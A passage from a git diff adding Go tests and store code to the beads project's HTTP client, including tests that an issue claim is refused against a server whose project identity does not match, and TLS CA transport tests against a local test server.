-1) + if _, _, after := servedRow(t, ctx, env, forced); after == forcedVersion { + t.Errorf("the forced release left row_version at %d; a release REMINTS the token, which is what makes a "+ + "concurrent reclaim or close conflict rather than silently merge", after) + } + + // The OTHER bypass: naming the holder replaces the fence, so an actor who is + // not the holder releases it without force. + named := seed("named") + if _, err := releaser.Release(ctx, issueops.ReleaseRequest{ + Actor: "supervisor", IssueID: named, ExpectedAssignee: strptr(holder), + }); err != nil { + t.Fatalf("Release() naming the holder error = %v, want the release to land", err) + } + assertServedRow(t, ctx, env, named, "", types.StatusOpen, -1) +} + +// servedRow reads one issue row RAW: its assignee, its status and its version. +// +// It reads through the reference store's own SQL handle rather than through the +// client, which is the whole point: "the refusal wrote nothing" is the one +// clause a role-answer assertion cannot check, because reading state back +// through the thing under test is exactly the check that passes on a corrupted +// table. +// +// THE VERSION IS THE `row_lock` COLUMN, which is what the contract's own +// releaserRowVersion reads and is COALESCEd for the same reason: a row that +// never took a guarded write carries NULL there, and a nil scan is a fixture +// failure rather than the answer the case wants. +// +// IT IS PART OF THE READ because it is part of the claim. Both pins +// below say a refused release leaves the row AND ITS VERSION untouched, and a +// row whose version moved is not untouched even when every column a reader looks +// at is unchanged: the holder's next compare-and-set would lose, for a reason +// nothing on the row explains. An assertion that stopped at assignee and status +// would have let exactly that through. +func servedRow(t *testing.T, ctx context.Context, env *servedEnv, id string) (assignee, status string, version int64) { + t.Helper() + if err := env.queryScalar(ctx, + "SELECT COALESCE(assignee, ''), status, COALESCE(row_lock, 0) FROM issues WHERE id = ?", []any{id}, + &assignee, &status, &version); err != nil { + t.Fatalf("read %s back raw: %v", id, err) + } + return assignee, status, version +} + +// assertServedRow holds a row to an expected assignee and status, and — when +// wantVersion is non-negative — to a version it must still be carrying. +func assertServedRow(t *testing.T, ctx context.Context, env *servedEnv, id, assignee string, status types.Status, wantVersion int64) { + t.Helper() + gotAssignee, gotStatus, gotVersion := servedRow(t, ctx, env, id) + if gotAssignee != assignee || gotStatus != string(status) { + t.Errorf("row %s = assignee %q status %q, want %q / %q", id, gotAssignee, gotStatus, assignee, status) + } + if wantVersion >= 0 && gotVersion != wantVersion { + t.Errorf("row %s moved to version %d, want %d: a refused release leaves the row AND ITS VERSION untouched, "+ + "and a version that moved makes the holder's next compare-and-set lose for a reason nothing on the row explains", + id, gotVersion, wantVersion) + } +} + +func strptr(s string) *string { return &s } diff --git a/internal/httpclient/served_test.go b/internal/httpclient/served_test.go new file mode 100644 index 000000000..5bc182b82 --- /dev/null +++ b/internal/httpclient/served_test.go @@ -0,0 +1,382 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "errors" + "fmt" + "io" + "net/url" + "os" + "path/filepath" + "sync" + "testing" + + "github.com/steveyegge/beads/internal/httpapi" + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/types" +) + +// The served-surface composition: the http client, a real in-process `bd serve`, +// and the embedded-Dolt reference store the server serves. +// +// This is the shape composition_test.go specifies, stood up. Behavior parity for +// this backend cannot be proved by bare RunAll — its Factory contract wants a +// write-ready store and its cases seed through raw CreateIssue/SetConfig, both of +// which this backend refuses — so the per-role fixture contracts are run instead, +// with their SEED HANDLES BOUND TO THE REFERENCE STORE and only the subject role +// bound to the client. A fixture that seeded through the client would prove the +// client agrees with itself. +// +// ONE STORE AND ONE SERVER FOR THE WHOLE PACKAGE, which is the unit-of-work +// wiring's arrangement rather than the embedded one's. Every contract case here +// scopes its own query — by label, by exact id, or by a query expression naming +// its own label — precisely so several of them can share one database, and a +// store per case would cost half a second each for nothing. It also makes the +// composition harder rather than easier: a filter this client dropped would come +// back carrying another case's rows. + +// servedIssuePrefix is the id namespace every fixture below sub-namespaces. It +// is not the workspace's `issue_prefix`, which the reference store sets for +// itself; explicit-id creates do not check one against the other. +const servedIssuePrefix = "http" + +type servedComposition struct { + // reference is the store the server serves. It is the seed handle and the + // dual-run oracle, and it is NEVER the subject of a contract. + reference *embeddeddolt.EmbeddedDoltStore + dataDir string + database string + baseURL string + // client is the http store under test. + client *Store +} + +var ( + compositionOnce sync.Once + compositionEnv *servedComposition + compositionErr error + compositionStop func() +) + +// TestMain owns the composition's lifetime: one embedded database and one bound +// listener for the package, torn down after the last case. +func TestMain(m *testing.M) { + code := m.Run() + if compositionStop != nil { + compositionStop() + } + os.Exit(code) +} + +func composition(t *testing.T) *servedComposition { + t.Helper() + compositionOnce.Do(func() { compositionEnv, compositionStop, compositionErr = startServedComposition() }) + if compositionErr != nil { + t.Fatalf("stand up the served composition: %v", compositionErr) + } + return compositionEnv +} + +func startServedComposition() (*servedComposition, func(), error) { + ctx := context.Background() + root, err := os.MkdirTemp("", "httpstore-served-") + if err != nil { + return nil, nil, err + } + cleanups := []func(){func() { _ = os.RemoveAll(root) }} + stop := func() { + for i := len(cleanups) - 1; i >= 0; i-- { + cleanups[i]() + } + } + fail := func(err error) (*servedComposition, func(), error) { + stop() + return nil, nil, err + } + + const database = "httpstore" + beadsDir := filepath.Join(root, ".beads") + reference, err := embeddeddolt.Open(ctx, beadsDir, database, "main") + if err != nil { + return fail(fmt.Errorf("open the embedded reference store: %w", err)) + } + cleanups = append(cleanups, func() { _ = reference.Close() }) + if err := reference.SetConfig(ctx, "issue_prefix", servedIssuePrefix); err != nil { + return fail(fmt.Errorf("identify the reference workspace: %w", err)) + } + if err := reference.Commit(ctx, "bd init"); err != nil { + return fail(fmt.Errorf("commit the reference workspace: %w", err)) + } + + cfg, err := serveRoles(reference) + if err != nil { + return fail(err) + } + cfg.Addr = "127.0.0.1:0" + cfg.Stdout = io.Discard + cfg.Stderr = io.Discard + srv, err := httpapi.Listen(cfg) + if err != nil { + return fail(fmt.Errorf("bind the in-process bd serve: %w", err)) + } + serveCtx, cancelServe := context.WithCancel(context.Background()) + done := make(chan struct{}) + go func() { defer close(done); _ = srv.Serve(serveCtx) }() + cleanups = append(cleanups, func() { cancelServe(); <-done }) + + base, err := url.Parse("http://" + srv.Addr()) + if err != nil { + return fail(err) + } + transport, err := wire.New(base, nil, wire.Options{}) + if err != nil { + return fail(fmt.Errorf("build the wire client: %w", err)) + } + + return &servedComposition{ + reference: reference, + dataDir: filepath.Join(beadsDir, "embeddeddolt"), + database: database, + baseURL: base.String(), + client: New(Target{BaseURL: base}, servedWire{transport}, nil), + }, stop, nil +} + +// serveRoles takes the whole role set off the reference store's own accessors. +// +// httpapi.Listen requires ALL of them together — a server missing one would +// bind, answer every other route, and fail that one with a nil dereference on a +// live server — and it refuses a hook-firing role. These come off a raw store +// with no decorators, so there is nothing to unwrap. +func serveRoles(store storage.DoltStorage) (httpapi.Config, error) { + var cfg httpapi.Config + var err error + if cfg.Reader, err = store.IssueReader(); err != nil { + return cfg, err + } + if cfg.Claimer, err = store.IssueClaimer(); err != nil { + return cfg, err + } + if cfg.ReadyClaimer, err = store.ReadyClaimer(); err != nil { + return cfg, err + } + if cfg.Releaser, err = store.Releaser(); err != nil { + return cfg, err + } + if cfg.Lifecycle, err = store.IssueLifecycle(); err != nil { + return cfg, err + } + if cfg.Settings, err = store.WorkspaceConfig(); err != nil { + return cfg, err + } + if cfg.Stats, err = store.StatsReporter(); err != nil { + return cfg, err + } + if cfg.CycleDetector, err = store.CycleDetector(); err != nil { + return cfg, err + } + if cfg.EdgeReader, err = store.EdgeReader(); err != nil { + return cfg, err + } + if cfg.GraphCounter, err = store.GraphCounter(); err != nil { + return cfg, err + } + if cfg.Relations, err = store.IssueRelations(); err != nil { + return cfg, err + } + if cfg.Commenter, err = store.Commenter(); err != nil { + return cfg, err + } + if cfg.BlockingAnnotator, err = store.BlockingAnnotator(); err != nil { + return cfg, err + } + if cfg.TreeWalker, err = store.TreeWalker(); err != nil { + return cfg, err + } + if cfg.ReadyCounter, err = store.ReadyCounter(); err != nil { + return cfg, err + } + if cfg.Counter, err = store.Counter(); err != nil { + return cfg, err + } + if cfg.Querier, err = store.Querier(); err != nil { + return cfg, err + } + if cfg.Sweeper, err = store.Sweeper(); err != nil { + return cfg, err + } + if cfg.Deleter, err = store.Deleter(); err != nil { + return cfg, err + } + if cfg.BatchCreator, err = store.BatchCreator(); err != nil { + return cfg, err + } + if cfg.BatchCloser, err = store.BatchCloser(); err != nil { + return cfg, err + } + if cfg.DependencyEditor, err = store.DependencyEditor(); err != nil { + return cfg, err + } + if cfg.MetadataCAS, err = store.MetadataCAS(); err != nil { + return cfg, err + } + if cfg.BatchApplier, err = store.BatchApplier(); err != nil { + return cfg, err + } + if cfg.Memories, err = store.Memories(); err != nil { + return cfg, err + } + if cfg.BatchGetter, err = store.BatchGetter(); err != nil { + return cfg, err + } + return cfg, nil +} + +// servedWire adapts *wire.Client onto the store's transport seam. +// +// It exists here rather than in the package because the production adapter is +// the ACTIVATION path's — `bd connect` resolves a target, builds the credential +// ladder and registers the dialer — and inventing half of it here would be a +// second wiring for that bead to reconcile. What the seam actually needs from +// the transport is Preflight and Do, and *wire.Client satisfies both verbatim; +// only the handshake accessor is shaped differently, because the store caches +// the ContextResponse and the client caches the gated Snapshot around it. +type servedWire struct{ *wire.Client } + +func (w servedWire) ServerContext(ctx context.Context) (*apigen.ContextResponse, error) { + snap, err := w.Client.Handshake(ctx) + if err != nil { + return nil, err + } + return &snap.Context, nil +} + +// tamperedClient is a second client onto the same server whose outbound +// requests are rewritten on the way out. +// +// It exists to produce RED evidence: a composition that could not tell a +// correctly encoded request from a subtly wrong one would pass every test in +// this package while shipping a client that answers the wrong question. The +// tamper runs after the encoder and before the transport, which is exactly +// where a hand-written encoder's mistakes live. +func (c *servedComposition) tamperedClient(t *testing.T, tamper func(*wire.Request)) *Store { + t.Helper() + base, err := url.Parse(c.baseURL) + if err != nil { + t.Fatalf("parse the composition base URL: %v", err) + } + transport, err := wire.New(base, nil, wire.Options{}) + if err != nil { + t.Fatalf("build a second wire client: %v", err) + } + return New(Target{BaseURL: base}, tamperedWire{WireClient: servedWire{transport}, tamper: tamper}, nil) +} + +type tamperedWire struct { + WireClient + tamper func(*wire.Request) +} + +func (w tamperedWire) Do(ctx context.Context, req wire.Request, out any) error { + w.tamper(&req) + return w.WireClient.Do(ctx, req, out) +} + +// seedIssue is the seed handle every fixture binds: the REFERENCE store's own +// create, never the client's. The client refuses CreateIssue outright, so this +// is not merely a convention here — it is the only thing that can seed at all. +func (c *servedComposition) seedIssue(ctx context.Context, issue *types.Issue, actor string) error { + return c.reference.CreateIssue(ctx, issue, actor) +} + +func (c *servedComposition) seedDependency(ctx context.Context, dep *types.Dependency, actor string) error { + return c.reference.AddDependencyWithOptions(ctx, dep, actor, storage.DependencyAddOptions{EmitEvent: true}) +} + +func (c *servedComposition) seedComment(ctx context.Context, issueID, author, text string) error { + _, err := c.reference.AddIssueComment(ctx, issueID, author, text) + return err +} + +// queryScalar is the composition's raw-row hook: a single-row query against the +// REFERENCE store, which is where the rows a contract seeded actually live. +// +// It opens its own SQL handle per call, exactly as the per-case harness does +// (served_harness_test.go states the measurement): a handle held for the life of +// the composition and a live server on the same database deadlock, and the +// symptom is a hung run rather than a failing one. +// +// It exists because a count or a listing cannot tell a row it EXCLUDED from a +// row that was never seeded — both surfaces hide it — so the cases that assert +// an exclusion read the stored row directly. +func (c *servedComposition) queryScalar(ctx context.Context, query string, args []any, dest ...any) error { + db, cleanup, err := embeddeddolt.OpenSQL(ctx, c.dataDir, c.database, "main") + if err != nil { + return err + } + defer func() { _ = cleanup() }() + return db.QueryRowContext(ctx, query, args...).Scan(dest...) +} + +// countHistory reads the reference branch's commit log. The client cannot +// observe history at all — v0 publishes no history surface — so the +// writes-nothing cases would otherwise skip themselves, which is the one thing +// they exist to prevent. +func (c *servedComposition) countHistory(ctx context.Context) (int, error) { + var entries int + if err := c.queryScalar(ctx, "SELECT COUNT(*) FROM dolt_log", nil, &entries); err != nil { + return 0, err + } + return entries, nil +} + +// fixture binds the composition into the shell's servedFixture shape, which +// re-checks the one invariant that cannot be read off a wiring later: the seed +// handle is not the subject. +func (c *servedComposition) fixture(t *testing.T) servedFixture { + t.Helper() + return newServedFixture(t, c.reference, c.client, c.baseURL) +} + +// bind is how every case below reaches its role: through servedFixture.bindRole, +// which returns the accessor's error UNCHANGED. A contract wired before its role +// bead lands therefore FAILS rather than skips — refusals are owned by +// RunUnsupportedContract, not by skipped conformance cases. +func bindRole[T any](t *testing.T, f servedFixture, accessor func(*Store) (T, error)) T { + t.Helper() + var role T + if err := f.bindRole(func(s *Store) error { + var err error + role, err = accessor(s) + return err + }); err != nil { + t.Fatalf("binding the role against the http client: %v", err) + } + return role +} + +// assertServedRefusal is the shape a parked case's refusal must still have: the +// contract cannot run, but the REFUSAL is itself a promise — it names a field, +// it classifies as unsupported, and it is not a silent drop. +func assertServedRefusal(t *testing.T, what string, err error, field string) { + t.Helper() + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("%s = %v, want a typed *storage.ErrUnsupported", what, err) + } + var inexpressible *InexpressibleError + if !errors.As(err, &inexpressible) { + t.Fatalf("%s = %v, want an *InexpressibleError carrying its ledger row", what, err) + } + if inexpressible.Refused.Row.Field != field { + t.Errorf("%s refused over %q, want the refusal to name %q", what, inexpressible.Refused.Row.Field, field) + } +} diff --git a/internal/httpclient/served_wrong_server_test.go b/internal/httpclient/served_wrong_server_test.go new file mode 100644 index 000000000..8afee1077 --- /dev/null +++ b/internal/httpclient/served_wrong_server_test.go @@ -0,0 +1,135 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_wrong_server_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "errors" + "testing" + + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The wrong-server security case, run through client → in-process bd serve → +// reference store, with the client's ExpectProjectID armed. +// +// This is the test that would have caught ga-b8ddd.11: before the fix, claimIssue +// sat in the client's baseline set, so a claim dispatched WITHOUT the handshake +// and its project-identity gate. A workspace whose server identity had drifted +// after connect would then land a claim on ANOTHER project's row — a silent +// cross-project write. Removing claimIssue from baselineOps forces the handshake +// first, so the claim now refuses before it writes. + +// TestServedClaimRefusesAWrongServerBeforeWriting is the headline. The client +// expects one project; the server owns another; the claim must refuse with the +// typed mismatch and leave the target row byte-for-byte unchanged. +func TestServedClaimRefusesAWrongServerBeforeWriting(t *testing.T) { + const expected = "proj-workspace-not-this-server" + env := newServedEnvExpecting(t, "hws1", expected) + ctx := t.Context() + + claimer, err := env.subject.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + + const target = "hws1-1" + seedServedIssue(t, ctx, env, target, types.StatusOpen) + + before, err := env.getIssue(ctx, target) + if err != nil { + t.Fatalf("read the seeded row: %v", err) + } + historyBefore, err := env.countHistory(ctx) + if err != nil { + t.Fatalf("count history before: %v", err) + } + + _, claimErr := claimer.Claim(ctx, issueops.ClaimRequest{Actor: "alice", IssueID: target}) + if claimErr == nil { + t.Fatal("claim against a wrong-identity server SUCCEEDED; this is the silent cross-project write ga-b8ddd.11 fixes") + } + if !errors.Is(claimErr, wire.ErrProjectMismatch) { + t.Fatalf("claim refused with %v, want ErrProjectMismatch", claimErr) + } + var mismatch *wire.ProjectMismatchError + if !errors.As(claimErr, &mismatch) { + t.Fatalf("claim error is %T, want *wire.ProjectMismatchError", claimErr) + } + if mismatch.Expected != expected { + t.Errorf("mismatch.Expected = %q, want the workspace's %q", mismatch.Expected, expected) + } + if mismatch.Got != servedProjectID { + t.Errorf("mismatch.Got = %q, want the server's %q", mismatch.Got, servedProjectID) + } + + // The whole point: nothing was written. The row is exactly as seeded and the + // history did not grow, so the refusal happened before the claim dispatched. + after, err := env.getIssue(ctx, target) + if err != nil { + t.Fatalf("re-read the target row: %v", err) + } + if after.Status != types.StatusOpen { + t.Errorf("target status = %q, want it still %q — the refused claim wrote", after.Status, types.StatusOpen) + } + if after.Assignee != before.Assignee { + t.Errorf("target assignee = %q, want the seeded %q — the refused claim wrote", after.Assignee, before.Assignee) + } + historyAfter, err := env.countHistory(ctx) + if err != nil { + t.Fatalf("count history after: %v", err) + } + if historyAfter != historyBefore { + t.Errorf("history grew from %d to %d; the refused claim wrote a server-side entry", historyBefore, historyAfter) + } +} + +// TestServedClaimSucceedsAgainstTheMatchingServer is the other direction: the +// forced handshake must NOT over-refuse. With the client pinned to the identity +// the server publishes, the claim lands and the server records it. +func TestServedClaimSucceedsAgainstTheMatchingServer(t *testing.T) { + env := newServedEnvExpecting(t, "hws2", servedProjectID) + ctx := t.Context() + + claimer, err := env.subject.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + + const target = "hws2-1" + seedServedIssue(t, ctx, env, target, types.StatusOpen) + historyBefore, err := env.countHistory(ctx) + if err != nil { + t.Fatalf("count history before: %v", err) + } + + res, err := claimer.Claim(ctx, issueops.ClaimRequest{Actor: "alice", IssueID: target}) + if err != nil { + t.Fatalf("claim against the matching server: %v", err) + } + if !res.Changed { + t.Errorf("claim reported Changed=false, want the row to have been taken") + } + if res.Issue == nil || res.Issue.Assignee != "alice" || res.Issue.Status != types.StatusInProgress { + t.Fatalf("claim result = %+v, want alice holding an in-progress row", res.Issue) + } + + after, err := env.getIssue(ctx, target) + if err != nil { + t.Fatalf("re-read the claimed row: %v", err) + } + if after.Assignee != "alice" || after.Status != types.StatusInProgress { + t.Errorf("row after claim = {assignee %q, status %q}, want alice / in_progress", after.Assignee, after.Status) + } + historyAfter, err := env.countHistory(ctx) + if err != nil { + t.Fatalf("count history after: %v", err) + } + if historyAfter <= historyBefore { + t.Errorf("history did not grow (%d -> %d); the claim's server-side write did not land", historyBefore, historyAfter) + } +} diff --git a/internal/httpclient/servercontext.go b/internal/httpclient/servercontext.go new file mode 100644 index 000000000..0cdb9655e --- /dev/null +++ b/internal/httpclient/servercontext.go @@ -0,0 +1,29 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/servercontext.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +// ServerContext reports the three facts design D7's refusal taxonomy needs to +// name the server: the URL it speaks to, the release it is running, and the +// capability tokens it advertises. +// +// The typed sentinel carries the same three fields, so a refusal raised BY the +// store needs nothing from here. This exists for the refusals that are not +// sentinels — a 400 `unknown_parameter` comes back as a problem document, which +// carries the parameter and the URL but has no way to know the server's +// version — and for cmd/bd's pre-run checks, which have a store but no error. +// +// The version and capabilities are empty until the lazy handshake has run (D6); +// callers render the shorter half of their text rather than dialing to fill it, +// because a refusal that opens a connection to explain itself is worse than a +// refusal that says less. +func (s *Store) ServerContext() (serverURL, bdVersion string, capabilities []string) { + if s == nil { + return "", "", nil + } + serverURL = s.target.String() + snap := s.cachedSnapshot() + if snap == nil { + return serverURL, "", nil + } + return serverURL, snap.BdVersion, append([]string(nil), snap.Capabilities...) +} diff --git a/internal/httpclient/store.go b/internal/httpclient/store.go new file mode 100644 index 000000000..2b36e9744 --- /dev/null +++ b/internal/httpclient/store.go @@ -0,0 +1,199 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/store.go@49d1df2f6) +// to OSS beads under the MIT license. +// Package httpstore is the enterprise client for the v0 `bd serve` wire: a +// storage.DoltStorage registered under the name "http" whose issueops role +// accessors speak HTTP to a remote server and whose every other method refuses +// with a typed sentinel. +// +// This package is the store skeleton — the mechanically generated refusing +// base, the sentinel, the benign local stubs and the registration glue. It +// issues no wire calls: transport and encoding live in sibling packages, and +// each role accessor here refuses until its role bead wires it. +// +// See the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, +// for every place this client's behavior knowingly differs from local mode. +package httpclient + +import ( + "context" + "errors" + "fmt" + "sync" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/storage" +) + +// Backend is the metadata.json backend identifier for this store. +const Backend = "http" + +// ErrNoTransport reports a binary that registered this backend without linking a +// wire client. It is a build-wiring fault, not a user's: the workspace and the +// server may both be fine. +var ErrNoTransport = errors.New("this build has no http transport linked") + +// Store is the http client backend. +type Store struct { + // unsupportedDoltStorage (generated, unsupported_gen.go) provides the + // storage.DoltStorage surface this backend refuses — the D8 allowlist v1, + // each method returning the typed sentinel. It is generated as the exact + // complement of this package's hand-written method set, so there is no + // ambiguous-selector overlap. + unsupportedDoltStorage + + target Target + wire WireClient + local *localMetadata + + // mu guards the lazily fetched handshake snapshot. D6 makes the context + // fetch lazy (first post-baseline dispatch) and cached for the process, so + // a store opened before any dispatch carries none. + mu sync.Mutex + ctxRes *apigen.ContextResponse + + // vocabularyCache memoizes the workspace's status and type vocabulary, which + // the `--parent` walk's derived-default inversion recognizes with + // (vocabulary.go). It is embedded rather than a field so the zero Store the + // refusal contract constructs stays usable. + vocabularyCache +} + +// Compile-time proof that the hand-written methods plus the generated shell +// cover the full storage seam: a skipped method this package does not +// actually implement is a missing method, and a method both implemented and +// stubbed is an ambiguous selector. +// +// S3 reconciliation (2026-10): OSS's storage package +// defines no storage.NonCommitGraphBackend or storage.RemoteWorkspaceBackend +// marker interface — those are bd-enterprise additions this client's lift +// carried over, with no OSS consumer anywhere (cmd/bd's PostRun and the +// pre-write identity check both run unconditionally here). The marker +// assertions and the CommitGraphUnsupported/WorkspaceMismatchRecovery methods +// behind them are removed rather than stubbed, since inventing the OSS +// interfaces here would assert a maintenance contract no OSS caller checks. +var _ storage.DoltStorage = (*Store)(nil) + +// New builds the store around an already-resolved target and transport. +// +// snapshot pre-seeds the handshake context, or is nil to let D6 fetch it lazily +// on the first post-baseline dispatch. The shipped core ALWAYS passes nil: open +// is the one production constructor, and connect — which does run a handshake — +// is a separate process that writes the sidecar and exits, so no in-process +// snapshot survives to the first command. It is the tests that pass one, to pin +// the server version or capability set a refusal renders without standing up a +// live handshake (see store_test.go and the cmd/bd refusal tests). It stays a +// constructor parameter rather than a private-field poke because those cmd/bd +// tests are in another package and cannot reach ctxRes. +// +// wire may be nil in tests that only exercise the refusal surface. +func New(target Target, wire WireClient, snapshot *apigen.ContextResponse) *Store { + return &Store{target: target, wire: wire, ctxRes: snapshot} +} + +// NewFromConfig opens the workspace read-write. It is the backends.Backend +// Open hook. +func NewFromConfig(ctx context.Context, beadsDir string) (storage.DoltStorage, error) { + return open(ctx, beadsDir) +} + +// NewReadOnlyFromConfig opens the workspace for a read-only command. +// +// It is the same store, WRITABLE, and that is the contract cmd/bd needs rather +// than a gap. backends.Backend has one read-only hook and cmd/bd opens two +// postures through it: the root pre-run opens every CLASSIFIED read command +// here — `bd ready --claim` among them, which claims through the store it is +// handed — and the non-mutating opens (previews, cross-repo hydration, doctor) +// open here too. The embedded arm splits the two (OpenForReadOnlyCommand stays +// writable, OpenReadOnly refuses), but a registered backend gets only this hook, +// so refusing writes here would break `bd ready --claim` on this backend. What +// keeps strict --readonly and a preview from writing here is cmd/bd's own +// chokepoints (CheckReadonly, the preview RunEs), and +// openNonMutatingStoreFromConfig names this arm as the exception to its +// refuses-writes invariant. TestReadOnlyOpenServesTheClaimBdReadyMakes pins it. +// +// The two hooks stay distinct because backends.Register requires both and +// because a later read-intent handshake belongs here rather than in a caller. +// The follow-up that closes the exception is a third backends.Backend hook, +// OpenNonMutating, for openNonMutatingStoreFromConfig to call: a preview or a +// doctor read would then get a store that refuses writes, while the classified +// reads keep this one. +func NewReadOnlyFromConfig(ctx context.Context, beadsDir string) (storage.DoltStorage, error) { + return open(ctx, beadsDir) +} + +func open(ctx context.Context, beadsDir string) (storage.DoltStorage, error) { + target, err := LoadTarget(beadsDir) + if err != nil { + return nil, err + } + if dialer == nil { + return nil, fmt.Errorf("%w: cannot dial %s", ErrNoTransport, target) + } + wire, err := dialer(ctx, target) + if err != nil { + return nil, err + } + s := New(target, wire, nil) + s.local = newLocalMetadata(beadsDir) + return s, nil +} + +// snapshot returns the cached handshake, fetching it once if a transport is +// present. It no longer swallows the handshake error (ga-b8ddd.11, Option C): +// a wrong-server *wire.ProjectMismatchError has to reach GetMetadata so cmd/bd's +// pre-write workspace-identity check can FIRE on it rather than skip on a +// nil-turned-empty id. Per-request stamping (ga-b8ddd.12) now enforces identity +// on EVERY read and write independently — a drifted server refuses each stamped +// request before it answers — so this handshake path is the pre-write gate BESIDE +// that per-request one, no longer the only thing between a drifted server and a +// wrong-workspace answer. It dials nothing beyond the one lazy handshake +// ServerContext already owns — a successful fetch is cached, a failed one is +// reported and left uncached for the next attempt. +func (s *Store) snapshot(ctx context.Context) (*apigen.ContextResponse, error) { + s.mu.Lock() + defer s.mu.Unlock() + if s.ctxRes != nil || s.wire == nil { + return s.ctxRes, nil + } + res, err := s.wire.ServerContext(ctx) + if err != nil { + return nil, err + } + s.ctxRes = res + return res, nil +} + +// cachedSnapshot returns the handshake only if one has already been fetched. +// Decorating an error must never dial: a refusal is the one path that has to +// stay fast and side-effect free, and a taxonomy field is not worth a round trip +// the caller did not ask for. +func (s *Store) cachedSnapshot() *apigen.ContextResponse { + s.mu.Lock() + defer s.mu.Unlock() + return s.ctxRes +} + +// Close releases the store. Nothing local is held open, so this is a no-op +// (design D4, "Close"). +func (s *Store) Close() error { return nil } + +// The commit family is a NO-OP on this backend, not unsupported (design D3). +// The server's writes are durable when it writes the response, so a client-side +// "commit" of a remote store has nothing to flush. Refusing instead would break +// working commands rather than unsupported ones: doltAutoCommit defaults on for +// a registered workspace, so `bd ready --claim` calls Commit after a claim that +// already landed, and PersistentPostRunE turns any Commit error into a failed +// exit — exit 1 after a durable claim. +func (s *Store) Commit(_ context.Context, _ string) error { return nil } +func (s *Store) CommitWithConfig(_ context.Context, _ string) error { return nil } +func (s *Store) CommitMergeResolution(_ context.Context, _ string) error { return nil } + +// CommitAll joins that family rather than the unsupported shell, for the same +// D3 reason, and answers (false, nil): its bool reports whether a commit was +// CREATED, so `bd vc commit` prints "Nothing to commit" instead of claiming +// history this client does not own. A remote store has no working set to sweep. +func (s *Store) CommitAll(_ context.Context, _ string) (bool, error) { return false, nil } + +// CommitPending reports nothing pending, for the same reason: write paths call +// it opportunistically and must not error. +func (s *Store) CommitPending(_ context.Context, _ string) (bool, error) { return false, nil } diff --git a/internal/httpclient/store_dependent_test.go b/internal/httpclient/store_dependent_test.go new file mode 100644 index 000000000..0336cda05 --- /dev/null +++ b/internal/httpclient/store_dependent_test.go @@ -0,0 +1,550 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/ca_test.go, credential_test.go, target_test.go (store-dependent tests)@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "crypto/tls" + "crypto/x509" + "errors" + "fmt" + "io" + "net/http" + "net/http/httptest" + "net/http/httptrace" + "net/url" + "os" + "path/filepath" + "strings" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// warmIPv4OnlyCATransport pre-builds and caches target's CA-scoped transport +// — the exact (abs path, content hash) cache entry transportForFile would +// build and cache for it on Handshake's own first dial, per +// matchesCachedTransport's doc — and forces that cached *http.Transport to +// dial over tcp4 only. +// +// This closes the same Happy-Eyeballs ::1-vs-127.0.0.1 race +// forceIPv4Loopback documents and fixes for TransportFor's direct callers +// (ca_wrong_ca_test.go, ca_test.go): every server these tests dial is +// addressed by the hostname "localhost" (ca.startServer rewrites it there +// deliberately, so SNI is actually sent), which Go's default dialer races a +// tcp6 dial to ::1: against the real tcp4 dial to 127.0.0.1: +// for. An unrelated local process already bound to a colliding ephemeral +// port on ::1 can occasionally "win" that race before the real dial +// completes, and the client then speaks TLS to that unrelated process +// instead of the test server: handshake fails with a misleading "tls: first +// record does not look like a TLS handshake" instead of exercising anything +// the test is actually about (observed flake: +// TestTransportForSucceedsWithEnvCAFile). +// +// Unlike forceIPv4Loopback, this test never gets its hands on the +// *http.Transport Handshake's own DialWith builds internally (DialOptions{} +// leaves HTTPClient nil deliberately, so DialWith's own nil-HTTPClient +// branch is what's under test) — so instead of mutating that transport +// after the fact, this warms the SAME path-and-content-keyed cache entry +// DialWith's transportForFile call will hit, by calling the public +// TransportFor with the identical target first. DialWith then finds (and +// reuses, never rebuilds) the exact pointer already forced to tcp4-only, +// without changing which of DialWith's branches actually ran. +// +// It is a deliberate no-op when target has no CA configured (TransportFor +// returns nil, nil): that case resolves through the process-wide +// baselineTransport singleton instead, which this package exposes no cache +// to pre-warm from outside. The call sites that matter here all configure a +// CA, so this never silently skips the case it exists for. +func warmIPv4OnlyCATransport(t *testing.T, target Target) { + t.Helper() + rt, err := TransportFor(target) + if err != nil { + t.Fatalf("warmIPv4OnlyCATransport: TransportFor: %v", err) + } + if rt == nil { + return + } + forceIPv4Loopback(t, rt) +} + +// TestTransportForSucceedsWithSidecarCAFile is the "succeeds with ca_file +// (sidecar)" case: Target.CAFile, as `bd connect --ca-file` writes it. +func TestTransportForSucceedsWithSidecarCAFile(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-ca")} + u := ca.startServer(t, h.handler()) + + target := Target{BaseURL: u, CAFile: ca.writePEM(t)} + warmIPv4OnlyCATransport(t, target) + snap, err := Handshake(context.Background(), target, DialOptions{}) + if err != nil { + t.Fatalf("Handshake with sidecar ca_file: %v", err) + } + if snap.ProjectId != "proj-ca" { + t.Errorf("project_id = %q, want proj-ca", snap.ProjectId) + } + if !h.sawRequest() { + t.Fatal("server never saw a request") + } + if h.seenSNI() != "localhost" { + t.Errorf("SNI = 